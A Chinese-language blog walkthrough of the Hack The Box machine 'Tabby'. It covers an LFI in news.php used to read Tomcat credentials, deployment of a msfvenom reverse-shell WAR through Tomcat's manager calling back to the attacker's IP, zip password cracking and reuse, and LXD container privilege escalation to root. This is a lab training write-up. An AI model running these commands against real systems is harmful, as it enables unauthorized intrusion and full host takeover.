HTB 学习笔记
【Hack The Box】linux练习-- Tabby
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月22日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 80
- 8080 tomcat
- 基于文本的管理器应用程序
- tomcat->
- ash ->root
- lxd提权
信息收集
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
sales@megahosting.com
普通页面啥都没有,几乎点完了所有功能模块之后有几个无法访问,查看发现需要hosts
于是添加
然后有这么一段话
目录爆破结果如下
/news.php (Status: 200) [Size: 0]
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 14175]
/files (Status: 301) [Size: 312] [--> http://10.129.18.17/files/]
/assets (Status: 301) [Size: 313] [--> http://10.129.18.17/assets/]
唯一有点意思是 /news.php
发现存在lfi,我尝试将…/…/…/…/…/…/…/etc/passwd
存在lfi
所以得知了用户
一个ash用户
还有一个syslog
8080 tomcat
首页提到
Users are defined in /etc/tomcat9/tomcat-users.xml.
利用lfi访问
啥都没有
于是我在我本地安装了tomcat
find / -name tomcat-users.xml
用第一个,然后直接右键源代码查看
找到了凭据
<user username=“tomcat” password=“$3cureP4s5w0rd123!”
因为
tomcat默认存在一个/manager
可以登陆
根据我的清单
https://blog.csdn.net/weixin_65527369/article/details/127538948
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.129.18.17:8080/manager/html
但是没有找到密码
但是爆破不出来,于是我就尝试刚才获得的密码
但是我无权查看页面
http://megahosting.htb:8080/host-manager/html
但是我可以查看应用程序页面
这同样也是tomcat的一个吗默认页面
基于文本的管理器应用程序
https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html#Supported_Manager_Commands
官网文档可以看看
这是一种已经知道的攻击方法
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.29 lport=8888 -f war -o shell.war
curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.129.18.17:8080/manager/text/deploy?path=/rong --upload-file shell.war
curl http://10.129.18.17:8080/rong
获得了shell
python3 -c ‘import pty;pty.spawn (“/bin/bash”)’
tomcat->
我们现在已知两个用户
一个ash用户
还有一个syslog
发现了一个zip
搞回本地而后爆破
得到密码
admin@it
注意密码复用的可能性
翻遍了几乎所有的文件,全部打打开搜素了pass关键字,没有任何发现,尝试用刚才压缩包爆破出来的密码复用
成功
成功登陆了ash
ash ->root
发现他有烂兄弟权限
那就烂兄弟提权先来一手
lxd提权
下载并构建
proxychains4 -f /etc/proxychains4.conf git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
proxychains4 -f /etc/proxychains4.conf ./build-alpine
把当前目录添加到环境变量,不然没有lxc命令
export PATH=/snap/bin/:$PATH
传入靶机的tmp目录,或者在/dev/shm玩
接下来我将镜像导入 lxc:
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias rong-image
我需要运行 lxd init. 我可以接受所有默认值:
lxd init
创建容器
lxc init rong-image container-rong -c security.privileged=true
init- 要采取的行动,启动一个容器
0xdf-image- 开始的形象
container-0xdf- 运行容器的别名
-c security.privileged=true- 默认情况下,容器作为非根 UID 运行; 这将以 root 身份运行容器,使其能够以 root 身份访问主机文件系统
我还将把主机文件系统的一部分挂载到容器中。 这对于在两者之间有一个共享文件夹很有用。 我将通过挂载主机系统根目录来滥用它:
lxc config device add container-rong device-rong disk source=/ path=/mnt/root
lxc start container-rong
以下 lxc exec命令返回容器内的根 shell:
lxc exec container-rong /bin/sh